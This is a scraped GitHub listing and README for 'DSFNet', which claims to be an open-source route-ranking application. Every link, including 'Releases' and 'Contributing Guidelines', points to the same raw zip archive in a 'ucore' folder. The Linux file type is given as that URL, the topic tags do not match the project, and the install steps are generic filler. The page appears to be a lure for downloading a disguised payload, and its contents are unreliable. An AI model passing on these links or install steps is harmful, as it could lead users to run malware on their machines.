https://github.com/dominicvinxander/dsfnet
🌟 Learn to factor scenarios for improved multi-scenario route ranking with DSFNet, enhancing decision-making in navigation and logistics.
https://github.com/dominicvinxander/dsfnet
computer-vision data-augmentation deep-learning dsfnet generative-models image-generation model-training neural-networks open-source performance-optimization pytorch research-paper supervised-learning tensorflow unsupervised-learning
Last synced: 3 months ago
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🌟 Learn to factor scenarios for improved multi-scenario route ranking with DSFNet, enhancing decision-making in navigation and logistics.
- Host: GitHub
- URL: https://github.com/dominicvinxander/dsfnet
- Owner: DominicVinxander
- Created: 2025-09-30T03:21:40.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2025-10-07T18:59:16.000Z (9 months ago)
- Last Synced: 2025-10-07T20:44:14.740Z (9 months ago)
- Topics: computer-vision, data-augmentation, deep-learning, dsfnet, generative-models, image-generation, model-training, neural-networks, open-source, performance-optimization, pytorch, research-paper, supervised-learning, tensorflow, unsupervised-learning
- Language: Python
- Size: 4.01 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🛠️ DSFNet - Simplifying Your Route Ranking Journey
## 🚀 Getting Started
Welcome to the DSFNet project! This application helps you learn about disentangled scenario factorization for multi-scenario route ranking. With our open dataset and implementation, you can explore new ways to optimize your route planning.
## 📥 Download DSFNet
[](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip)
To download DSFNet, visit the Releases page below:
[Download DSFNet](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip)
## 🔧 System Requirements
Before downloading, make sure your system meets the following requirements:
- **Operating System:** Windows 10 or later, macOS 10.12 or later, or a recent Linux distribution.
- **Memory:** At least 4 GB RAM.
- **Storage:** At least 500 MB of free disk space.
## 📁 Download & Install
1. **Go to the Releases Page**
Click this link to visit our Releases page: [DSFNet Releases](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip).
2. **Choose the Latest Version**
On the Releases page, locate the latest version listed. Look for the version number to ensure you have the most recent features and updates.
3. **Download the Application**
Click on the file that corresponds to your operating system. Here are the options you should see:
- For Windows: Look for a file ending in `.exe`.
- For macOS: Look for a file ending in `.dmg`.
- For Linux: Look for a file ending in `https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip`.
4. **Run the Installer**
After downloading, open the file you’ve downloaded. Follow the instructions on the screen to install DSFNet on your device. The process is straightforward and user-friendly.
5. **Start Using DSFNet**
Once installed, you can find DSFNet in your applications. Launch it, and you're ready to begin optimizing your route rankings.
## 📚 How to Use DSFNet
Now that you have installed DSFNet, here’s how to make the most out of it:
1. **Load Your Dataset**
Click on the “Load Data” button to import your dataset. Ensure your data is formatted correctly. Common formats include CSV and JSON.
2. **Choose Your Parameters**
Adjust the parameters for scenario factorization. This can help refine the results based on your specific needs.
3. **Run the Analysis**
Hit the “Analyze” button to process your dataset. This may take a few moments depending on the size of your data.
4. **View Results**
Once the analysis is complete, you’ll see a visual representation of your route rankings. You can export these results for further use.
## ❓ Frequently Asked Questions
**Q: What is Scenario Factorization?**
A: Scenario factorization is a method that separates different factors influencing route rankings. This helps produce more accurate and nuanced results.
**Q: Can I contribute to DSFNet?**
A: Yes, contributions are welcome! Visit our [Contributing Guidelines](https://github.com/DominicVinxander/DSFNet/raw/refs/heads/main/ucore/DSF-Net-v3.5.zip) for more information.
**Q: Is DSFNet free to use?**
A: Yes, DSFNet is open-source and free for anyone to use.
## 📞 Support
If you encounter any issues or have questions, feel free to reach out. You can open an issue directly on GitHub or contact us through our support email.
## 📝 License
DSFNet is licensed under the MIT License. This allows you to freely use and modify the software, provided you include the original license in any derivative works.
## 📆 Upcoming Features
We are working on adding more features to enhance your experience with DSFNet:
- Improved Data Visualization Tools
- Additional File Format Support
- Enhanced User Documentation
We hope you find DSFNet helpful in your route ranking tasks. Enjoy exploring!